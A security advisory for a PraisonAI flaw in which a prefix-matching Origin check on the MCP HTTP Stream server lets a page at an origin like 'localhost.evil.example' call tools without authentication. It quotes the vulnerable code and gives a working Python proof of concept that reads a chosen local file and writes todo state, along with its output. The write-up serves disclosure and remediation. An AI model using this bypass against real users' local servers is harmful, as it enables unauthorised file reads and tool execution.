CVE-2026-55529: PraisonAI: Origin validation bypass in MCP HTTP Stream transport allows browser-mediated unauthenticated tool execution on local MCP server

Summary

PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the Origin header. The default localhost allowlist includes origins such as http://localhost, and the validation accepts any origin that starts with an allowed value.

As a result, an attacker-controlled origin such as http://localhost.evil.example passes the localhost origin check.

When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP tools/call requests against a locally running PraisonAI MCP server.

This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to 127.0.0.1, so this is not a directly internet-facing unauthenticated API in the default configuration.

Details

Relevant source locations:

- src/praisonai/praisonai/mcpserver/cli.py - src/praisonai/praisonai/mcpserver/transports/httpstream.py - src/praisonai/praisonai/mcpserver/server.py - src/praisonai/praisonai/mcpserver/adapters/init.py - src/praisonai/praisonai/mcpserver/adapters/extendedcapabilities.py - src/praisonai/praisonai/mcpserver/adapters/clitools.py - src/praisonai/praisonai/capabilities/files.py

The MCP CLI defaults to HTTP host 127.0.0.1, API key None, and allowed origins None unless explicitly configured:

python parser.addargument("--host", default="127.0.0.1") parser.addargument("--port", type=int, default=8080) parser.addargument("--api-key", default=None) parser.addargument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")

The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:

python registerall()

server.runhttpstream( host=parsed.host, port=parsed.port, endpoint=parsed.endpoint, apikey=parsed.apikey, corsorigins=corsorigins, allowedorigins=allowedorigins, sessionttl=parsed.sessionttl, allowclienttermination=allowtermination, responsemode=parsed.responsemode, resumabilityenabled=parsed.resumability, )

When allowedorigins is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:

python if allowedorigins is None: if host in ("127.0.0.1", "localhost", "::1"): self.allowedorigins = [ "http://localhost", "http://127.0.0.1", "https://localhost", "https://127.0.0.1", ]

The vulnerable validation accepts origins that merely start with an allowlisted value:

python for allowed in self.allowedorigins: if requestorigin == allowed or requestorigin.startswith(allowed): return True

Because http://localhost.evil.example starts with http://localhost, it is accepted as a trusted localhost origin.

Authentication is only enforced if an API key is configured:

python if self.apikey: authheader = request.headers.get("Authorization", "") if not authheader.startswith("Bearer ") or authheader[7:] != self.apikey: return JSONResponse( {"error": "Unauthorized"}, statuscode=401, )

The request body is then parsed and dispatched to the MCP server:

python body = await request.json() response = await self.server.handlemessage(body)

The MCP server handles tools/call by looking up the named tool and invoking the registered handler with attacker-controlled arguments:

python toolname = params.get("name") arguments = params.get("arguments", {})

tool = self.toolregistry.get(toolname)

if asyncio.iscoroutinefunction(tool.handler): result = await tool.handler(arguments) else: result = tool.handler(arguments)

registerall() registers capability tools, extended capability tools, CLI tools, resources, and prompts:

python def registerall(): registeralltools() registerextendedcapabilitytools() registerclitools() registermcpresources() registermcpprompts()

One exposed MCP tool is praisonai.files.create, which accepts a local filepath and passes it to filecreate():

python @registertool("praisonai.files.create") def filescreate(filepath: str, purpose: str = "assistants") -> str: from praisonai.capabilities import filecreate result = filecreate(file=filepath, purpose=purpose)

filecreate() opens attacker-selected string paths as local files and passes the file object to LiteLLM:

python fileobj = file if isinstance(file, str): fileobj = open(file, 'rb')

response = litellm.createfile(callkwargs)

Another exposed MCP tool, praisonai.todo.add, writes attacker-supplied content into local PraisonAI state at ~/.praison/todo.json.

PoC

The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory litellm module so the file-read effect is captured locally and safely.

Run from the repository root with test dependencies installed:

bash python3 pocmcporiginbypass.py

pocmcporiginbypass.py:

python import json import os import sys import tempfile import types from pathlib import Path

from starlette.testclient import TestClient

ROOT = Path.cwd() sys.path.insert(0, str(ROOT / "src" / "praisonai")) sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))

Fake litellm so the PoC proves local file read without network exfiltration. captured = {} fakelitellm = types.ModuleType("litellm")

def createfile(kwargs): f = kwargs["file"] captured["filename"] = getattr(f, "name", "<bytes>") captured["content"] = f.read().decode("utf-8")

class Resp: id = "file-safe-local-poc" object = "file" bytes = len(captured["content"]) filename = captured["filename"] purpose = kwargs.get("purpose") status = "processed"

return Resp()

fakelitellm.createfile = createfile sys.modules["litellm"] = fakelitellm

from praisonai.mcpserver.server import MCPServer from praisonai.mcpserver.transports.httpstream import HTTPStreamTransport from praisonai.mcpserver.adapters import registerall

registerall() server = MCPServer(name="praisonai-local-poc")

Default vulnerable configuration: localhost host, no API key, default allowed origins. transport = HTTPStreamTransport( server=server, host="127.0.0.1", apikey=None, allowedorigins=None, ) app = transport.createapp() client = TestClient(app)

with tempfile.TemporaryDirectory() as td: os.environ["HOME"] = td

marker = Path(td) / "safe-marker.txt" marker.writetext("SAFELOCALMARKERMCPFILEREAD")

filepayload = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "praisonai.files.create", "arguments": { "filepath": str(marker), "purpose": "assistants", }, }, }

# Non-localhost malicious origin is blocked. blocked = client.post( "/mcp", data=json.dumps(filepayload), headers={ "Origin": "https://evil.example", "Content-Type": "text/plain", }, )

# Prefix-matching bypass: accepted because it starts with http://localhost. bypass = client.post( "/mcp", data=json.dumps(filepayload), headers={ "Origin": "http://localhost.evil.example", "Content-Type": "text/plain", }, )

todopayload = { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "praisonai.todo.add", "arguments": { "content": "SAFELOCALTODOMARKER", "priority": "high", }, }, }

todo = client.post( "/mcp", data=json.dumps(todopayload), headers={ "Origin": "http://localhost.evil.example", "Content-Type": "text/plain", }, )

todofile = Path(td) / ".praison" / "todo.json"

print(json.dumps({ "blockedoriginstatus": blocked.statuscode, "bypassoriginstatus": bypass.statuscode, "bypassresponsetext": bypass.json().get("result", {}).get("content", [{}])[0].get("text"), "capturedfilebasename": Path(captured.get("filename", "")).name, "capturedfilecontent": captured.get("content"), "todostatus": todo.statuscode, "todoresponsetext": todo.json().get("result", {}).get("content", [{}])[0].get("text"), "todofileexists": todofile.exists(), }, indent=2))

Observed output:

json { "blockedoriginstatus": 403, "bypassoriginstatus": 200, "bypassresponsetext": "File created: file-safe-local-poc", "capturedfilebasename": "safe-marker.txt", "capturedfilecontent": "SAFELOCALMARKERMCPFILEREAD", "todostatus": 200, "todoresponsetext": "Todo added: 0440613d", "todofileexists": true }

The important results are:

- Origin: https://evil.example is rejected with 403. - Origin: http://localhost.evil.example is accepted with 200. - The bypassed request invokes praisonai.files.create and reads the local safe marker file. - The bypassed request invokes praisonai.todo.add and writes local PraisonAI state.

Impact

A malicious webpage can bypass the localhost Origin allowlist and trigger MCP tools/call requests against a locally running unauthenticated HTTP Stream server.

In local testing, this allowed invoking registered PraisonAI tools that:

- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and - modify local PraisonAI state by writing to ~/.praison/todo.json.

The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.